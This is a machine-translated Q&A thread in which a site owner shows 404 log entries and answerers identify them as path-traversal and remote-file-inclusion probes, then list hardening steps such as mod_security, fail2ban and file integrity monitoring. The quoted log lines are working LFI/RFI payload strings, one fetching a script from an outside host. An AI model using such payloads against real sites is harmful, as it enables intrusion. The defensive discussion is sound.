这是一个黑客的尝试?

查看我的404日志,我注意到以下两个URL,这两个URL都发生过一次:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

有问题的页面library.php需要一个具有六种不同可接受值的typevariables,然后是一个idvariables。 所以一个有效的URL可能是

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

在用来查询数据库之前,所有的id都是通过mysql_real_escape_string运行的。

我是菜鸟,但在我看来,这两个链接都是对webroot的简单攻击?

1)除了404之外,如何最好地保护这些东西?

2)我应该对知识产权负责吗?

编辑:也只是注意到这一个

/library.php=http://www.basfalt.no/scripts/danger.txt

编辑2:所有3次攻击的侵犯性IP是216.97.231.15 ,这跟踪一个位于洛杉矶外面的名为Lunar Pages的ISP。

编辑3:我决定在当地时间星期五上午打电话给ISP,并与谁可以打电话讨论这个问题。 我会在24小时内发布结果。

编辑4:我最终给他们的pipe理员发了电子邮件,他们首先回应说“他们正在调查”,然后一天后“这个问题现在应该得到解决”。 没有进一步的细节,可悲的是。

0)是的。 至less,这是对您的网站进行系统性的调查,试图发现它是否有漏洞。

1)除了确保你的代码是干净的,没有什么可以做的,但是对你的主机运行你自己的testing,以确保它是安全的。 Google Skipfish是众多帮助你的工具之一。

2)我会的。

这是一个攻击,这里有很多解释。

正如别人所说:是的,这是一个黑客的尝试。 请注意,除了这个可能的手工尝试之外,还有很多很多自动化操作由僵尸networking运行。 通常,这类攻击试图潜入历史悠久的漏洞和/或一些典型的编码缺陷,例如未能validation导致SQL注入,系统或文件泄漏等的用户input。

禁止这些僵尸networking是非常不可能的,因为僵尸networking可以使用多达数千个独特的IP地址,所以如果你想禁止它们,你将不得不使用某种自动禁止程序。 fail2ban出现在我的脑海里; 使其对mod_security事件或其他日志条目作出反应。

如果你的代码是干净的,服务器硬化的话,这些黑客攻击只是令人讨厌的日志污染。 但最好采取预防措施,根据您的需要考虑以下部分或全部内容:

  • mod_security是一个Apache模块,用于过滤各种典型的黑客攻击。 它还可以限制出站stream量(服务器将发送给客户端的页面),如果它看到可疑的JavaScript等

  • Suhosin强化PHP本身。

  • 以拥有脚本的用户身份运行PHP脚本; 像suphp和php-fpm这样的东西使得这一切成为可能。

  • 将您的webroot和PHP临时目录挂载为noexec,nosuid,nodev

  • 禁用不必要的PHP函数,如系统passthru

  • 禁用不需要的PHP模块。 例如,如果您不需要IMAP支持,请不要启用它。

  • 保持你的服务器是最新的。

  • 注意日志。

  • 确保你有备份。

  • 有一个计划,如果有人攻击你或其他一些灾难击中你的计划。

这是一个好的开始。 然后还有更多极端的措施,比如Snort和Prelude ,但是对于大多数的设置来说,它们可能是非常有效的。

这些查询机器完全可能是一个僵尸networking僵尸。 如果你收到来自多个IP的请求,可能不值得禁止,因为你必须禁止一半的互联网才能有效。

正如已经说过的 – 这是试图访问/ proc / self / environ文件以获取更多信息。

我认为这是一个Linux机器:

你应该使用

您可以阻止攻击服务器的IP地址,但您应该考虑在该function中可以不进行攻击。

当我的服务器受到攻击时,我曾经阻止了一些服务:http / https / pop / imap / ssh但是保持smtp打开状态,如果你犯了错误,你会收到通知。

是的,这是一个入侵企图。 你一定要禁止IP。 如果你确定IP不在国内,你可能只想禁止它所属的整个子网。 这不是一个代码问题,而是一个服务器问题。 看看这个特定的入侵,并确保您的托pipe服务提供商不容易或类似的脚本kiddie企图(这是这个样子)。

这是试图利用服务器端脚本中可能通过您的Web服务器访问的任意本地文件包含漏洞。 在易受攻击的linux系统上/proc/self/environ可以被滥用来执行任意代码服务器端。

正如Janne Pikkarainen所build议的那样:

注意日志。

确保你有备份。

作为这些日志的一部分,监视您的任何文件(包括您的网站)作为入侵检测系统的一部分的变化非常重要。 一个例子就是OpenBSD,默认为configuration文件。 我提出这个问题是因为:

  • 对于云计算站点,在定制的网站上对PHP文件进行了细微的修改(这只是输出一个非标准的标签,但可能是testing的一部分来衡量漏洞的大小)。
  • 对于一个同事来说,他们的WordPress .htaccess文件(只有来自Googlesearch结果的引用者)有微妙的redirect。
  • 对于另一位同事,他们对Joomlaconfiguration文件进行了微妙的修改(不记得是什么,我认为它也是在某些情况下的redirect)。